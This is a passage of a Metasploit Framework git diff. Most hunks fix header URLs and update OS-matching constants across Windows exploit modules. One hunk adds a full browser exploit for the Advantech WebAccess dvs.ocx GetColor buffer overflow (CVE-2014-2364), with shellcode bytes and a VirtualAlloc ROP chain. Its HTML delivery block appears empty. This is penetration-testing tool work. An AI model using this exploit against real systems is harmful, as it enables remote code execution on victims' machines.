http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 3e254a40c6..629621b033 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 8ab0cb0d5d..8145935ad9 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index a5a5492691..bfe484f24f 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 7d9d56dd5e..99f72ef29f 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb index 8b1d34bfdf..ade7cf8ecf 100644 --- a/modules/exploits/windows/brightstor/hsmserver.rb +++ b/modules/exploits/windows/brightstor/hsmserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb index 0e3954fe41..d439f85cc8 100644 --- a/modules/exploits/windows/brightstor/lgserver.rb +++ b/modules/exploits/windows/brightstor/lgserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 78a7e9d97b..6f6bda88cd 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index a06f6de1a8..a54686a117 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index c648a779c9..bbbd6376ee 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index ff4e654f26..e12c6efa64 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb index 79cd0ef54d..53b03d3d27 100644 --- a/modules/exploits/windows/brightstor/license_gcr.rb +++ b/modules/exploits/windows/brightstor/license_gcr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index fdfcdb429f..6ea0c62537 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb index dc0bd7b7b9..af04cc4bf8 100644 --- a/modules/exploits/windows/brightstor/message_engine.rb +++ b/modules/exploits/windows/brightstor/message_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb index fc191be197..f4ca613159 100644 --- a/modules/exploits/windows/brightstor/message_engine_72.rb +++ b/modules/exploits/windows/brightstor/message_engine_72.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb index 474811ddcb..5ba4ca46fb 100644 --- a/modules/exploits/windows/brightstor/message_engine_heap.rb +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 88cf2cf919..2785745edc 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index a5618f3be8..40e00171fa 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb index 752aac0ccb..6e55ba95b3 100644 --- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index b8ed18d60d..770d7c8fa9 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index b1c6148c8a..d7081eb356 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 8f423e53e0..7c5533a3ad 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index 2d116975a8..73bbd41235 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index f9273b9133..692e2be2fa 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :method => "GetVariable", :classid => "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 6dd812a159..07db952f60 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb index 371489b0fd..350bf1f656 100644 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index e9032b8442..06d8cccc01 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index e36cc12fe3..89e33338e5 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 3d433d9984..e697cf10b1 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index fde7448c30..b1af657d89 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index 7365e4595f..2fd3934e19 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index a491d05fd8..4da472c537 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index c649311f54..e62657640b 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index e90e395219..5d9964d350 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index 4bad3a7ac0..d001160549 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index c9f0461b34..586113b780 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index 41e088e754..047607d786 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index d51bd78a0f..f48ae794ac 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_toolbutton.rb b/modules/exploits/windows/browser/adobe_toolbutton.rb index 5432fbf4f3..019f45fe98 100644 --- a/modules/exploits/windows/browser/adobe_toolbutton.rb +++ b/modules/exploits/windows/browser/adobe_toolbutton.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => Msf::OperatingSystems::WINDOWS, - :os_flavor => Msf::OperatingSystems::WindowsVersions::XP, + :os_name => OperatingSystems::Match::WINDOWS_XP, :ua_name => Msf::HttpClients::IE }, 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 4f7a202571..8b2bd57977 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb new file mode 100644 index 0000000000..c29db0cba4 --- /dev/null +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Advantec WebAccess. The + vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to + sprintf can be reached with user controlled data through the GetColor function. + This module has been tested successfully on Windows XP SP3 with IE6 and Windows + 7 SP1 with IE8 and IE 9. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2364'], + ['ZDI', '14-255'], + ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02'] + ], + 'DefaultOptions' => + { + 'Retries' => false, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => /MSIE/i, + :ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') }, + :clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}", + :method => "GetColor" + }, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x00\x0a\x0d\x5c", + # Patch the stack to execute the decoder... + 'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100 + # Fix the stack again, this time better :), before the payload + # is executed. + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 17 2014')) + end + + def on_request_exploit(cli, request, target_info) + print_status("Requested: #{request.uri}") + + content = <<-EOS + + + + + + + + + + + + + + EOS + + print_status("Sending #{self.name}") + send_response_html(cli, content, {'Pragma' => 'no-cache'}) + end + + # Uses gadgets from ijl11.dll 1.1.2.16 + def rop_payload(code) + xpl = rand_text_alphanumeric(61) # offset + xpl << [0x60014185].pack("V") # RET + xpl << rand_text_alphanumeric(8) + + # EBX = dwSize (0x40) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdafc9].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + xpl << [0x60018084].pack("V") # POP EBP # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN) + xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret + # EDX = flAllocationType (0x1000) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdbf89].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + # ECX = flProtect (0x40) + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + 0x41.times do + xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN + end + # EAX = ptr to &VirtualAlloc() + xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll] + xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll] + # EBP = POP (skip 4 bytes) + xpl << [0x6002054b].pack("V") # POP EBP # RETN + xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn) + # ESI = ptr to JMP [EAX] + xpl << [0x600181cc].pack("V") # POP ESI # RETN + xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax]) + # EDI = ROP NOP (RETN) + xpl << [0x60021ad1].pack("V") # POP EDI # RETN + xpl << [0x60021ad2].pack("V") # ptr to &(retn) + # ESP = lpAddress (automatic) + # PUSHAD # RETN + xpl << [0x60018399].pack("V") # PUSHAD # RETN + xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn) + xpl << code + + xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string + xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping + + xpl + end + +end diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index 43558fc78d..cd7abc4965 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 433d73d80e..c2c9c05d68 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote :source => /script|headers/i, :clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}", :method => "ChooseFilePath", - :os_name => /win/i + :os_name => OperatingSystems::Match::WINDOWS, }, 'Targets' => [ @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 6', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '6.0', 'Rop' => false, @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 7', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '7.0', 'Rop' => false, @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 8', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '8.0', 'Rop' => true, @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows Vista with IE 7', { - 'os_flavor' => 'Vista', + 'os_name' => OperatingSystems::Match::WINDOWS_VISTA, 'ua_name' => 'MSIE', 'ua_ver' => '7.0', 'Rop' => false, diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index 4f4966d7b7..0ed7599111 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 6555bafae9..618ceede6d 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 48d46a68f5..6426521138 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb index c69bd1275b..38e8c16c39 100644 --- a/modules/exploits/windows/browser/apple_itunes_playlist.rb +++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index a9d460988b..8907f6869c 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index 84edee8e8d..69d6b8a164 100644 --- 